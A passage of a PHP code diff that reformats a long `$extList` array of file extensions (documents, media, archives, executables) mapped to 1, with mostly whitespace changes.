'cww'=>1, 'pskcxml'=>1, 'rdf'=>1, 'rif'=>1, 'rnc'=>1, 'rl'=>1, 'rld'=>1, 'rs'=>1, 'gbr'=>1, 'mft'=>1, 'roa'=>1, 'rsd'=>1, 'rss'=>1, 'rtf'=>1, - 'sbml'=>1, 'scq'=>1, 'scs'=>1, 'spq'=>1, 'spp'=>1, 'sdp'=>1, 'setpay'=>1, 'setreg'=>1, 'shf'=>1, 'smi'=>1, 'smil'=>1, 'rq'=>1, 'srx'=>1, 'gram'=>1, 'grxml'=>1, 'sru'=>1, - 'ssdl'=>1, 'ssml'=>1, 'tei'=>1, 'teicorpus'=>1, 'tfi'=>1, 'tsd'=>1, 'plb'=>1, 'psb'=>1, 'pvb'=>1, 'tcap'=>1, 'pwn'=>1, 'aso'=>1, 'imp'=>1, 'acu'=>1, 'atc'=>1, 'acutc'=>1, - 'air'=>1, 'fcdt'=>1, 'fxp'=>1, 'fxpl'=>1, 'xdp'=>1, 'xfdf'=>1, 'ahead'=>1, 'azf'=>1, 'azs'=>1, 'azw'=>1, 'acc'=>1, 'ami'=>1, 'apk'=>1, 'cii'=>1, 'fti'=>1, 'atx'=>1, 'mpkg'=>1, - 'm3u8'=>1, 'swi'=>1, 'iota'=>1, 'aep'=>1, 'mpm'=>1, 'bmi'=>1, 'rep'=>1, 'cdxml'=>1, 'mmd'=>1, 'cdy'=>1, 'cla'=>1, 'rp9'=>1, 'c4g'=>1, 'c4d'=>1, 'c4f'=>1, 'c4p'=>1, 'c4u'=>1, - 'c11amc'=>1, 'c11amz'=>1, 'csp'=>1, 'cdbcmsg'=>1, 'cmc'=>1, 'clkx'=>1, 'clkk'=>1, 'clkp'=>1, 'clkt'=>1, 'clkw'=>1, 'wbs'=>1, 'pml'=>1, 'ppd'=>1, 'car'=>1, 'pcurl'=>1, 'dart'=>1, - 'rdz'=>1, 'uvf'=>1, 'uvvf'=>1, 'uvd'=>1, 'uvvd'=>1, 'uvt'=>1, 'uvvt'=>1, 'uvx'=>1, 'uvvx'=>1, 'uvz'=>1, 'uvvz'=>1, 'fe_launch'=>1, 'dna'=>1, 'mlp'=>1, 'dpg'=>1, 'dfac'=>1, - 'kpxx'=>1, 'ait'=>1, 'svc'=>1, 'geo'=>1, 'mag'=>1, 'nml'=>1, 'esf'=>1, 'msf'=>1, 'qam'=>1, 'slt'=>1, 'ssf'=>1, 'es3'=>1, 'et3'=>1, 'ez2'=>1, 'ez3'=>1, 'fdf'=>1, 'mseed'=>1, - 'seed'=>1, 'dataless'=>1, 'gph'=>1, 'ftc'=>1, 'fm'=>1, 'frame'=>1, 'maker'=>1, 'book'=>1, 'fnc'=>1, 'ltf'=>1, 'fsc'=>1, 'oas'=>1, 'oa2'=>1, 'oa3'=>1, 'fg5'=>1, 'bh2'=>1, 'ddd'=>1, - 'xdw'=>1, 'xbd'=>1, 'fzs'=>1, 'txd'=>1, 'ggb'=>1, 'ggt'=>1, 'gex'=>1, 'gre'=>1, 'gxt'=>1, 'g2w'=>1, 'g3w'=>1, 'gmx'=>1, 'kml'=>1, 'kmz'=>1, 'gqf'=>1, 'gqs'=>1, 'gac'=>1, 'ghf'=>1, - 'gim'=>1, 'grv'=>1, 'gtm'=>1, 'tpl'=>1, 'vcg'=>1, 'hal'=>1, 'zmm'=>1, 'hbci'=>1, 'les'=>1, 'hpgl'=>1, 'hpid'=>1, 'hps'=>1, 'jlt'=>1, 'pcl'=>1, 'pclxl'=>1, 'sfd-hdstx'=>1, 'mpy'=>1, - 'afp'=>1, 'listafp'=>1, 'list3820'=>1, 'irm'=>1, 'sc'=>1, 'icc'=>1, 'icm'=>1, 'igl'=>1, 'ivp'=>1, 'ivu'=>1, 'igm'=>1, 'xpw'=>1, 'xpx'=>1, 'i2g'=>1, 'qbo'=>1, 'qfx'=>1, - 'rcprofile'=>1, 'irp'=>1, 'xpr'=>1, 'fcs'=>1, 'jam'=>1, 'rms'=>1, 'jisp'=>1, 'joda'=>1, 'ktz'=>1, 'ktr'=>1, 'karbon'=>1, 'chrt'=>1, 'kfo'=>1, 'flw'=>1, 'kon'=>1, 'kpr'=>1, 'kpt'=>1, - 'ksp'=>1, 'kwd'=>1, 'kwt'=>1, 'htke'=>1, 'kia'=>1, 'kne'=>1, 'knp'=>1, 'skp'=>1, 'skd'=>1, 'skt'=>1, 'skm'=>1, 'sse'=>1, 'lasxml'=>1, 'lbd'=>1, 'lbe'=>1, '123'=>1, 'apr'=>1, - 'pre'=>1, 'nsf'=>1, 'org'=>1, 'scm'=>1, 'lwp'=>1, 'portpkg'=>1, 'mcd'=>1, 'mc1'=>1, 'cdkey'=>1, 'mwf'=>1, 'mfm'=>1, 'flo'=>1, 'igx'=>1, 'mif'=>1, 'daf'=>1, 'dis'=>1, 'mbk'=>1, - 'mqy'=>1, 'msl'=>1, 'plc'=>1, 'txf'=>1, 'mpn'=>1, 'mpc'=>1, 'xul'=>1, 'cil'=>1, 'cab'=>1, 'xls'=>1, 'xlm'=>1, 'xla'=>1, 'xlc'=>1, 'xlt'=>1, 'xlw'=>1, 'xlam'=>1, 'xlsb'=>1, 'xlsm'=>1, - 'xltm'=>1, 'eot'=>1, 'chm'=>1, 'ims'=>1, 'lrm'=>1, 'thmx'=>1, 'cat'=>1, 'stl'=>1, 'ppt'=>1, 'pps'=>1, 'pot'=>1, 'ppam'=>1, 'pptm'=>1, 'sldm'=>1, 'ppsm'=>1, 'potm'=>1, 'mpp'=>1, - 'mpt'=>1, 'docm'=>1, 'dotm'=>1, 'wps'=>1, 'wks'=>1, 'wcm'=>1, 'wdb'=>1, 'wpl'=>1, 'xps'=>1, 'mseq'=>1, 'mus'=>1, 'msty'=>1, 'taglet'=>1, 'nlu'=>1, 'nitf'=>1, 'nitf'=>1, 'nnd'=>1, - 'nns'=>1, 'nnw'=>1, 'ngdat'=>1, 'n-gage'=>1, 'rpst'=>1, 'rpss'=>1, 'edm'=>1, 'edx'=>1, 'ext'=>1, 'odc'=>1, 'otc'=>1, 'odb'=>1, 'odf'=>1, 'odft'=>1, 'odg'=>1, 'otg'=>1, 'odi'=>1, - 'oti'=>1, 'odp'=>1, 'otp'=>1, 'ods'=>1, 'ots'=>1, 'odt'=>1, 'odm'=>1, 'ott'=>1, 'oth'=>1, 'xo'=>1, 'dd2'=>1, 'oxt'=>1, 'pptx'=>1, 'sldx'=>1, 'ppsx'=>1, 'potx'=>1, 'xlsx'=>1, 'xltx'=>1, - 'docx'=>1, 'dotx'=>1, 'mgp'=>1, 'dp'=>1, 'esa'=>1, 'pdb'=>1, 'pqa'=>1, 'oprc'=>1, 'paw'=>1, 'str'=>1, 'ei6'=>1, 'efif'=>1, 'wg'=>1, 'plf'=>1, 'pbd'=>1, 'box'=>1, 'mgz'=>1, 'qps'=>1, - 'ptid'=>1, 'qxd'=>1, 'qxt'=>1, 'qwd'=>1, 'qwt'=>1, 'qxl'=>1, 'qxb'=>1, 'bed'=>1, 'mxl'=>1, 'musicxml'=>1, 'cryptonote'=>1, 'cod'=>1, 'rm'=>1, 'rmvb'=>1, 'link66'=>1, 'st'=>1, 'see'=>1, - 'sema'=>1, 'semd'=>1, 'semf'=>1, 'ifm'=>1, 'itp'=>1, 'iif'=>1, 'ipk'=>1, 'twd'=>1, 'twds'=>1, 'mmf'=>1, 'teacher'=>1, 'sdkm'=>1, 'sdkd'=>1, 'dxp'=>1, 'sfs'=>1, 'sdc'=>1, 'sda'=>1, - 'sdd'=>1, 'smf'=>1, 'sdw'=>1, 'vor'=>1, 'sgl'=>1, 'smzip'=>1, 'sm'=>1, 'sxc'=>1, 'stc'=>1, 'sxd'=>1, 'std'=>1, 'sxi'=>1, 'sti'=>1, 'sxm'=>1, 'sxw'=>1, 'sxg'=>1, 'stw'=>1, 'sus'=>1, - 'susp'=>1, 'svd'=>1, 'sis'=>1, 'sisx'=>1, 'xsm'=>1, 'bdm'=>1, 'xdm'=>1, 'tao'=>1, 'pcap'=>1, 'cap'=>1, 'dmp'=>1, 'tmo'=>1, 'tpt'=>1, 'mxs'=>1, 'tra'=>1, 'ufd'=>1, 'ufdl'=>1, 'utz'=>1, - 'umj'=>1, 'unityweb'=>1, 'uoml'=>1, 'vcx'=>1, 'vsd'=>1, 'vst'=>1, 'vss'=>1, 'vsw'=>1, 'vis'=>1, 'vsf'=>1, 'wbxml'=>1, 'wmlc'=>1, 'wmlsc'=>1, 'wtb'=>1, 'nbp'=>1, 'wpd'=>1, 'wqd'=>1, - 'stf'=>1, 'xar'=>1, 'xfdl'=>1, 'hvd'=>1, 'hvs'=>1, 'hvp'=>1, 'osf'=>1, 'osfpvg'=>1, 'saf'=>1, 'spf'=>1, 'cmp'=>1, 'zir'=>1, 'zirz'=>1, 'zaz'=>1, 'vxml'=>1, 'wgt'=>1, 'hlp'=>1, 'wsdl'=>1, - 'wspolicy'=>1, '7z'=>1, 'abw'=>1, 'ace'=>1, 'dmg'=>1, 'aab'=>1, 'x32'=>1, 'u32'=>1, 'vox'=>1, 'aam'=>1, 'aas'=>1, 'bcpio'=>1, 'torrent'=>1, 'blb'=>1, 'blorb'=>1, 'bz'=>1, 'bz2'=>1, - 'boz'=>1, 'cbr'=>1, 'cba'=>1, 'cbt'=>1, 'cbz'=>1, 'cb7'=>1, 'vcd'=>1, 'cfs'=>1, 'chat'=>1, 'pgn'=>1, 'nsc'=>1, 'cpio'=>1, 'csh'=>1, 'deb'=>1, 'udeb'=>1, 'dgc'=>1, 'dir'=>1, 'dcr'=>1, - 'dxr'=>1, 'cst'=>1, 'cct'=>1, 'cxt'=>1, 'w3d'=>1, 'fgd'=>1, 'swa'=>1, 'wad'=>1, 'ncx'=>1, 'dtb'=>1, 'res'=>1, 'dvi'=>1, 'evy'=>1, 'eva'=>1, 'bdf'=>1, 'gsf'=>1, 'psf'=>1, 'otf'=>1, - 'pcf'=>1, 'snf'=>1, 'ttf'=>1, 'ttc'=>1, 'pfa'=>1, 'pfb'=>1, 'pfm'=>1, 'afm'=>1, 'woff'=>1, 'arc'=>1, 'spl'=>1, 'gca'=>1, 'ulx'=>1, 'gnumeric'=>1, 'gramps'=>1, 'gtar'=>1, 'hdf'=>1, - 'install'=>1, 'iso'=>1, 'jnlp'=>1, 'latex'=>1, 'lzh'=>1, 'lha'=>1, 'mie'=>1, 'prc'=>1, 'mobi'=>1, 'application'=>1, 'lnk'=>1, 'wmd'=>1, 'wmz'=>1, 'xbap'=>1, 'mdb'=>1, 'obd'=>1, - 'crd'=>1, 'clp'=>1, 'exe'=>1, 'dll'=>1, 'com'=>1, 'bat'=>1, 'msi'=>1, 'mvb'=>1, 'm13'=>1, 'm14'=>1, 'wmf'=>1, 'wmz'=>1, 'emf'=>1, 'emz'=>1, 'mny'=>1, 'pub'=>1, 'scd'=>1, 'trm'=>1, - 'wri'=>1, 'nc'=>1, 'cdf'=>1, 'nzb'=>1, 'p12'=>1, 'pfx'=>1, 'p7b'=>1, 'spc'=>1, 'p7r'=>1, 'rar'=>1, 'ris'=>1, 'sh'=>1, 'shar'=>1, 'swf'=>1, 'xap'=>1, 'sql'=>1, 'sit'=>1, 'sitx'=>1, - 'srt'=>1, 'sv4cpio'=>1, 'sv4crc'=>1, 't3'=>1, 'gam'=>1, 'tar'=>1, 'tcl'=>1, 'tex'=>1, 'tfm'=>1, 'texinfo'=>1, 'texi'=>1, 'obj'=>1, 'ustar'=>1, 'src'=>1, 'der'=>1, 'crt'=>1, 'fig'=>1, - 'xlf'=>1, 'xpi'=>1, 'xz'=>1, 'z1'=>1, 'z2'=>1, 'z3'=>1, 'z4'=>1, 'z5'=>1, 'z6'=>1, 'z7'=>1, 'z8'=>1, 'xaml'=>1, 'xdf'=>1, 'xenc'=>1, 'xhtml'=>1, 'xht'=>1, 'xml'=>1, 'xsl'=>1, 'dtd'=>1, - 'xop'=>1, 'xpl'=>1, 'xslt'=>1, 'xspf'=>1, 'mxml'=>1, 'xhvml'=>1, 'xvml'=>1, 'xvm'=>1, 'yang'=>1, 'yin'=>1, 'zip'=>1, 'adp'=>1, 'au'=>1, 'snd'=>1, 'mid'=>1, 'midi'=>1, 'kar'=>1, 'rmi'=>1, - 'mp4a'=>1, 'mpga'=>1, 'mp2'=>1, 'mp2a'=>1, 'mp3'=>1, 'm2a'=>1, 'm3a'=>1, 'oga'=>1, 'ogg'=>1, 'spx'=>1, 's3m'=>1, 'sil'=>1, 'uva'=>1, 'uvva'=>1, 'eol'=>1, 'dra'=>1, 'dts'=>1, 'dtshd'=>1, - 'lvp'=>1, 'pya'=>1, 'ecelp4800'=>1, 'ecelp7470'=>1, 'ecelp9600'=>1, 'rip'=>1, 'weba'=>1, 'aac'=>1, 'aif'=>1, 'aiff'=>1, 'aifc'=>1, 'caf'=>1, 'flac'=>1, 'mka'=>1, 'm3u'=>1, 'wax'=>1, - 'wma'=>1, 'ram'=>1, 'ra'=>1, 'rmp'=>1, 'wav'=>1, 'xm'=>1, 'cdx'=>1, 'cif'=>1, 'cmdf'=>1, 'cml'=>1, 'csml'=>1, 'xyz'=>1, 'bmp'=>1, 'cgm'=>1, 'g3'=>1, 'gif'=>1, 'ief'=>1, 'jpeg'=>1, - 'jpg'=>1, 'jpe'=>1, 'ktx'=>1, 'png'=>1, 'btif'=>1, 'sgi'=>1, 'svg'=>1, 'svgz'=>1, 'tiff'=>1, 'tif'=>1, 'psd'=>1, 'uvi'=>1, 'uvvi'=>1, 'uvg'=>1, 'uvvg'=>1, 'sub'=>1, 'djvu'=>1, 'djv'=>1, - 'dwg'=>1, 'dxf'=>1, 'fbs'=>1, 'fpx'=>1, 'fst'=>1, 'mmr'=>1, 'rlc'=>1, 'mdi'=>1, 'wdp'=>1, 'npx'=>1, 'wbmp'=>1, 'xif'=>1, 'webp'=>1, '3ds'=>1, 'ras'=>1, 'cmx'=>1, 'fh'=>1, 'fhc'=>1, - 'fh4'=>1, 'fh5'=>1, 'fh7'=>1, 'ico'=>1, 'sid'=>1, 'pcx'=>1, 'pic'=>1, 'pct'=>1, 'pnm'=>1, 'pbm'=>1, 'pgm'=>1, 'ppm'=>1, 'rgb'=>1, 'tga'=>1, 'xbm'=>1, 'xpm'=>1, 'xwd'=>1, 'eml'=>1, - 'mime'=>1, 'igs'=>1, 'iges'=>1, 'msh'=>1, 'mesh'=>1, 'silo'=>1, 'dae'=>1, 'dwf'=>1, 'gdl'=>1, 'gtw'=>1, 'mts'=>1, 'vtu'=>1, 'wrl'=>1, 'vrml'=>1, 'x3db'=>1, 'x3dbz'=>1, 'x3dv'=>1, - 'x3dvz'=>1, 'x3d'=>1, 'x3dz'=>1, '3gp'=>1, '3g2'=>1, 'h261'=>1, 'h263'=>1, 'h264'=>1, 'jpgv'=>1, 'jpm'=>1, 'jpgm'=>1, 'mj2'=>1, 'mjp2'=>1, 'mp4'=>1, 'mp4v'=>1, 'mpg4'=>1, 'mpeg'=>1, - 'mpg'=>1, 'mpe'=>1, 'm1v'=>1, 'm2v'=>1, 'ogv'=>1, 'qt'=>1, 'mov'=>1, 'uvh'=>1, 'uvvh'=>1, 'uvm'=>1, 'uvvm'=>1, 'uvp'=>1, 'uvvp'=>1, 'uvs'=>1, 'uvvs'=>1, 'uvv'=>1, 'uvvv'=>1, 'dvb'=>1, - 'fvt'=>1, 'mxu'=>1, 'm4u'=>1, 'pyv'=>1, 'uvu'=>1, 'uvvu'=>1, 'viv'=>1, 'webm'=>1, 'f4v'=>1, 'fli'=>1, 'flv'=>1, 'm4v'=>1, 'mkv'=>1, 'mk3d'=>1, 'mks'=>1, 'mng'=>1, 'asf'=>1, 'asx'=>1, - 'vob'=>1, 'wm'=>1, 'wmv'=>1, 'wmx'=>1, 'wvx'=>1, 'avi'=>1, 'movie'=>1, 'smv'=>1, 'ice'=>1, + var $extList = array('ez' => 1, 'aw' => 1, 'atom' => 1, 'atomcat' => 1, 'atomsvc' => 1, 'ccxml' => 1, 'cdmia' => 1, 'cdmic' => 1, 'cdmid' => 1, 'cdmio' => 1, 'cdmiq' => 1, 'cu' => 1, 'davmount' => 1, + 'dbk' => 1, 'dssc' => 1, 'xdssc' => 1, 'ecma' => 1, 'emma' => 1, 'epub' => 1, 'exi' => 1, 'pfr' => 1, 'gml' => 1, 'gpx' => 1, 'gxf' => 1, 'stk' => 1, 'ink' => 1, 'inkml' => 1, 'ipfix' => 1, 'jar' => 1, + 'ser' => 1, 'class' => 1, 'js' => 1, 'json' => 1, 'jsonml' => 1, 'lostxml' => 1, 'hqx' => 1, 'cpt' => 1, 'mads' => 1, 'mrc' => 1, 'mrcx' => 1, 'ma' => 1, 'nb' => 1, 'mb' => 1, 'mathml' => 1, 'mbox' => 1, + 'mscml' => 1, 'metalink' => 1, 'meta4' => 1, 'mets' => 1, 'mods' => 1, 'm21 mp21' => 1, 'mp4s' => 1, 'doc dot' => 1, 'mxf' => 1, 'bin' => 1, 'dms' => 1, 'lrf' => 1, 'mar' => 1, 'so' => 1, 'dist' => 1, + 'distz' => 1, 'pkg' => 1, 'bpk' => 1, 'dump' => 1, 'elc' => 1, 'deploy' => 1, 'oda' => 1, 'opf' => 1, 'ogx' => 1, 'omdoc' => 1, 'onetoc' => 1, 'onetoc2' => 1, 'onetmp' => 1, 'onepkg' => 1, 'oxps' => 1, + 'xer' => 1, 'pdf' => 1, 'pgp' => 1, 'asc' => 1, 'sig' => 1, 'prf' => 1, 'p10' => 1, 'p7m' => 1, 'p7c' => 1, 'p7s' => 1, 'p8' => 1, 'ac' => 1, 'cer' => 1, 'crl' => 1, 'pkipath' => 1, 'pki' => 1, 'pls' => 1, + 'ai' => 1, 'eps' => 1, 'ps' => 1, 'cww' => 1, 'pskcxml' => 1, 'rdf' => 1, 'rif' => 1, 'rnc' => 1, 'rl' => 1, 'rld' => 1, 'rs' => 1, 'gbr' => 1, 'mft' => 1, 'roa' => 1, 'rsd' => 1, 'rss' => 1, 'rtf' => 1, + 'sbml' => 1, 'scq' => 1, 'scs' => 1, 'spq' => 1, 'spp' => 1, 'sdp' => 1, 'setpay' => 1, 'setreg' => 1, 'shf' => 1, 'smi' => 1, 'smil' => 1, 'rq' => 1, 'srx' => 1, 'gram' => 1, 'grxml' => 1, 'sru' => 1, + 'ssdl' => 1, 'ssml' => 1, 'tei' => 1, 'teicorpus' => 1, 'tfi' => 1, 'tsd' => 1, 'plb' => 1, 'psb' => 1, 'pvb' => 1, 'tcap' => 1, 'pwn' => 1, 'aso' => 1, 'imp' => 1, 'acu' => 1, 'atc' => 1, 'acutc' => 1, + 'air' => 1, 'fcdt' => 1, 'fxp' => 1, 'fxpl' => 1, 'xdp' => 1, 'xfdf' => 1, 'ahead' => 1, 'azf' => 1, 'azs' => 1, 'azw' => 1, 'acc' => 1, 'ami' => 1, 'apk' => 1, 'cii' => 1, 'fti' => 1, 'atx' => 1, 'mpkg' => 1, + 'm3u8' => 1, 'swi' => 1, 'iota' => 1, 'aep' => 1, 'mpm' => 1, 'bmi' => 1, 'rep' => 1, 'cdxml' => 1, 'mmd' => 1, 'cdy' => 1, 'cla' => 1, 'rp9' => 1, 'c4g' => 1, 'c4d' => 1, 'c4f' => 1, 'c4p' => 1, 'c4u' => 1, + 'c11amc' => 1, 'c11amz' => 1, 'csp' => 1, 'cdbcmsg' => 1, 'cmc' => 1, 'clkx' => 1, 'clkk' => 1, 'clkp' => 1, 'clkt' => 1, 'clkw' => 1, 'wbs' => 1, 'pml' => 1, 'ppd' => 1, 'car' => 1, 'pcurl' => 1, 'dart' => 1, + 'rdz' => 1, 'uvf' => 1, 'uvvf' => 1, 'uvd' => 1, 'uvvd' => 1, 'uvt' => 1, 'uvvt' => 1, 'uvx' => 1, 'uvvx' => 1, 'uvz' => 1, 'uvvz' => 1, 'fe_launch' => 1, 'dna' => 1, 'mlp' => 1, 'dpg' => 1, 'dfac' => 1, + 'kpxx' => 1, 'ait' => 1, 'svc' => 1, 'geo' => 1, 'mag' => 1, 'nml' => 1, 'esf' => 1, 'msf' => 1, 'qam' => 1, 'slt' => 1, 'ssf' => 1, 'es3' => 1, 'et3' => 1, 'ez2' => 1, 'ez3' => 1, 'fdf' => 1, 'mseed' => 1, + 'seed' => 1, 'dataless' => 1, 'gph' => 1, 'ftc' => 1, 'fm' => 1, 'frame' => 1, 'maker' => 1, 'book' => 1, 'fnc' => 1, 'ltf' => 1, 'fsc' => 1, 'oas' => 1, 'oa2' => 1, 'oa3' => 1, 'fg5' => 1, 'bh2' => 1, 'ddd' => 1, + 'xdw' => 1, 'xbd' => 1, 'fzs' => 1, 'txd' => 1, 'ggb' => 1, 'ggt' => 1, 'gex' => 1, 'gre' => 1, 'gxt' => 1, 'g2w' => 1, 'g3w' => 1, 'gmx' => 1, 'kml' => 1, 'kmz' => 1, 'gqf' => 1, 'gqs' => 1, 'gac' => 1, 'ghf' => 1, + 'gim' => 1, 'grv' => 1, 'gtm' => 1, 'tpl' => 1, 'vcg' => 1, 'hal' => 1, 'zmm' => 1, 'hbci' => 1, 'les' => 1, 'hpgl' => 1, 'hpid' => 1, 'hps' => 1, 'jlt' => 1, 'pcl' => 1, 'pclxl' => 1, 'sfd-hdstx' => 1, 'mpy' => 1, + 'afp' => 1, 'listafp' => 1, 'list3820' => 1, 'irm' => 1, 'sc' => 1, 'icc' => 1, 'icm' => 1, 'igl' => 1, 'ivp' => 1, 'ivu' => 1, 'igm' => 1, 'xpw' => 1, 'xpx' => 1, 'i2g' => 1, 'qbo' => 1, 'qfx' => 1, + 'rcprofile' => 1, 'irp' => 1, 'xpr' => 1, 'fcs' => 1, 'jam' => 1, 'rms' => 1, 'jisp' => 1, 'joda' => 1, 'ktz' => 1, 'ktr' => 1, 'karbon' => 1, 'chrt' => 1, 'kfo' => 1, 'flw' => 1, 'kon' => 1, 'kpr' => 1, 'kpt' => 1, + 'ksp' => 1, 'kwd' => 1, 'kwt' => 1, 'htke' => 1, 'kia' => 1, 'kne' => 1, 'knp' => 1, 'skp' => 1, 'skd' => 1, 'skt' => 1, 'skm' => 1, 'sse' => 1, 'lasxml' => 1, 'lbd' => 1, 'lbe' => 1, '123' => 1, 'apr' => 1, + 'pre' => 1, 'nsf' => 1, 'org' => 1, 'scm' => 1, 'lwp' => 1, 'portpkg' => 1, 'mcd' => 1, 'mc1' => 1, 'cdkey' => 1, 'mwf' => 1, 'mfm' => 1, 'flo' => 1, 'igx' => 1, 'mif' => 1, 'daf' => 1, 'dis' => 1, 'mbk' => 1, + 'mqy' => 1, 'msl' => 1, 'plc' => 1, 'txf' => 1, 'mpn' => 1, 'mpc' => 1, 'xul' => 1, 'cil' => 1, 'cab' => 1, 'xls' => 1, 'xlm' => 1, 'xla' => 1, 'xlc' => 1, 'xlt' => 1, 'xlw' => 1, 'xlam' => 1, 'xlsb' => 1, 'xlsm' => 1, + 'xltm' => 1, 'eot' => 1, 'chm' => 1, 'ims' => 1, 'lrm' => 1, 'thmx' => 1, 'cat' => 1, 'stl' => 1, 'ppt' => 1, 'pps' => 1, 'pot' => 1, 'ppam' => 1, 'pptm' => 1, 'sldm' => 1, 'ppsm' => 1, 'potm' => 1, 'mpp' => 1, + 'mpt' => 1, 'docm' => 1, 'dotm' => 1, 'wps' => 1, 'wks' => 1, 'wcm' => 1, 'wdb' => 1, 'wpl' => 1, 'xps' => 1, 'mseq' => 1, 'mus' => 1, 'msty' => 1, 'taglet' => 1, 'nlu' => 1, 'nitf' => 1, 'nitf' => 1, 'nnd' => 1, + 'nns' => 1, 'nnw' => 1, 'ngdat' => 1, 'n-gage' => 1, 'rpst' => 1, 'rpss' => 1, 'edm' => 1, 'edx' => 1, 'ext' => 1, 'odc' => 1, 'otc' => 1, 'odb' => 1, 'odf' => 1, 'odft' => 1, 'odg' => 1, 'otg' => 1, 'odi' => 1, + 'oti' => 1, 'odp' => 1, 'otp' => 1, 'ods' => 1, 'ots' => 1, 'odt' => 1, 'odm' => 1, 'ott' => 1, 'oth' => 1, 'xo' => 1, 'dd2' => 1, 'oxt' => 1, 'pptx' => 1, 'sldx' => 1, 'ppsx' => 1, 'potx' => 1, 'xlsx' => 1, 'xltx' => 1, + 'docx' => 1, 'dotx' => 1, 'mgp' => 1, 'dp' => 1, 'esa' => 1, 'pdb' => 1, 'pqa' => 1, 'oprc' => 1, 'paw' => 1, 'str' => 1, 'ei6' => 1, 'efif' => 1, 'wg' => 1, 'plf' => 1, 'pbd' => 1, 'box' => 1, 'mgz' => 1, 'qps' => 1, + 'ptid' => 1, 'qxd' => 1, 'qxt' => 1, 'qwd' => 1, 'qwt' => 1, 'qxl' => 1, 'qxb' => 1, 'bed' => 1, 'mxl' => 1, 'musicxml' => 1, 'cryptonote' => 1, 'cod' => 1, 'rm' => 1, 'rmvb' => 1, 'link66' => 1, 'st' => 1, 'see' => 1, + 'sema' => 1, 'semd' => 1, 'semf' => 1, 'ifm' => 1, 'itp' => 1, 'iif' => 1, 'ipk' => 1, 'twd' => 1, 'twds' => 1, 'mmf' => 1, 'teacher' => 1, 'sdkm' => 1, 'sdkd' => 1, 'dxp' => 1, 'sfs' => 1, 'sdc' => 1, 'sda' => 1, + 'sdd' => 1, 'smf' => 1, 'sdw' => 1, 'vor' => 1, 'sgl' => 1, 'smzip' => 1, 'sm' => 1, 'sxc' => 1, 'stc' => 1, 'sxd' => 1, 'std' => 1, 'sxi' => 1, 'sti' => 1, 'sxm' => 1, 'sxw' => 1, 'sxg' => 1, 'stw' => 1, 'sus' => 1, + 'susp' => 1, 'svd' => 1, 'sis' => 1, 'sisx' => 1, 'xsm' => 1, 'bdm' => 1, 'xdm' => 1, 'tao' => 1, 'pcap' => 1, 'cap' => 1, 'dmp' => 1, 'tmo' => 1, 'tpt' => 1, 'mxs' => 1, 'tra' => 1, 'ufd' => 1, 'ufdl' => 1, 'utz' => 1, + 'umj' => 1, 'unityweb' => 1, 'uoml' => 1, 'vcx' => 1, 'vsd' => 1, 'vst' => 1, 'vss' => 1, 'vsw' => 1, 'vis' => 1, 'vsf' => 1, 'wbxml' => 1, 'wmlc' => 1, 'wmlsc' => 1, 'wtb' => 1, 'nbp' => 1, 'wpd' => 1, 'wqd' => 1, + 'stf' => 1, 'xar' => 1, 'xfdl' => 1, 'hvd' => 1, 'hvs' => 1, 'hvp' => 1, 'osf' => 1, 'osfpvg' => 1, 'saf' => 1, 'spf' => 1, 'cmp' => 1, 'zir' => 1, 'zirz' => 1, 'zaz' => 1, 'vxml' => 1, 'wgt' => 1, 'hlp' => 1, 'wsdl' => 1, + 'wspolicy' => 1, '7z' => 1, 'abw' => 1, 'ace' => 1, 'dmg' => 1, 'aab' => 1, 'x32' => 1, 'u32' => 1, 'vox' => 1, 'aam' => 1, 'aas' => 1, 'bcpio' => 1, 'torrent' => 1, 'blb' => 1, 'blorb' => 1, 'bz' => 1, 'bz2' => 1, + 'boz' => 1, 'cbr' => 1, 'cba' => 1, 'cbt' => 1, 'cbz' => 1, 'cb7' => 1, 'vcd' => 1, 'cfs' => 1, 'chat' => 1, 'pgn' => 1, 'nsc' => 1, 'cpio' => 1, 'csh' => 1, 'deb' => 1, 'udeb' => 1, 'dgc' => 1, 'dir' => 1, 'dcr' => 1, + 'dxr' => 1, 'cst' => 1, 'cct' => 1, 'cxt' => 1, 'w3d' => 1, 'fgd' => 1, 'swa' => 1, 'wad' => 1, 'ncx' => 1, 'dtb' => 1, 'res' => 1, 'dvi' => 1, 'evy' => 1, 'eva' => 1, 'bdf' => 1, 'gsf' => 1, 'psf' => 1, 'otf' => 1, + 'pcf' => 1, 'snf' => 1, 'ttf' => 1, 'ttc' => 1, 'pfa' => 1, 'pfb' => 1, 'pfm' => 1, 'afm' => 1, 'woff' => 1, 'arc' => 1, 'spl' => 1, 'gca' => 1, 'ulx' => 1, 'gnumeric' => 1, 'gramps' => 1, 'gtar' => 1, 'hdf' => 1, + 'install' => 1, 'iso' => 1, 'jnlp' => 1, 'latex' => 1, 'lzh' => 1, 'lha' => 1, 'mie' => 1, 'prc' => 1, 'mobi' => 1, 'application' => 1, 'lnk' => 1, 'wmd' => 1, 'wmz' => 1, 'xbap' => 1, 'mdb' => 1, 'obd' => 1, + 'crd' => 1, 'clp' => 1, 'exe' => 1, 'dll' => 1, 'com' => 1, 'bat' => 1, 'msi' => 1, 'mvb' => 1, 'm13' => 1, 'm14' => 1, 'wmf' => 1, 'wmz' => 1, 'emf' => 1, 'emz' => 1, 'mny' => 1, 'pub' => 1, 'scd' => 1, 'trm' => 1, + 'wri' => 1, 'nc' => 1, 'cdf' => 1, 'nzb' => 1, 'p12' => 1, 'pfx' => 1, 'p7b' => 1, 'spc' => 1, 'p7r' => 1, 'rar' => 1, 'ris' => 1, 'sh' => 1, 'shar' => 1, 'swf' => 1, 'xap' => 1, 'sql' => 1, 'sit' => 1, 'sitx' => 1, + 'srt' => 1, 'sv4cpio' => 1, 'sv4crc' => 1, 't3' => 1, 'gam' => 1, 'tar' => 1, 'tcl' => 1, 'tex' => 1, 'tfm' => 1, 'texinfo' => 1, 'texi' => 1, 'obj' => 1, 'ustar' => 1, 'src' => 1, 'der' => 1, 'crt' => 1, 'fig' => 1, + 'xlf' => 1, 'xpi' => 1, 'xz' => 1, 'z1' => 1, 'z2' => 1, 'z3' => 1, 'z4' => 1, 'z5' => 1, 'z6' => 1, 'z7' => 1, 'z8' => 1, 'xaml' => 1, 'xdf' => 1, 'xenc' => 1, 'xhtml' => 1, 'xht' => 1, 'xml' => 1, 'xsl' => 1, 'dtd' => 1, + 'xop' => 1, 'xpl' => 1, 'xslt' => 1, 'xspf' => 1, 'mxml' => 1, 'xhvml' => 1, 'xvml' => 1, 'xvm' => 1, 'yang' => 1, 'yin' => 1, 'zip' => 1, 'adp' => 1, 'au' => 1, 'snd' => 1, 'mid' => 1, 'midi' 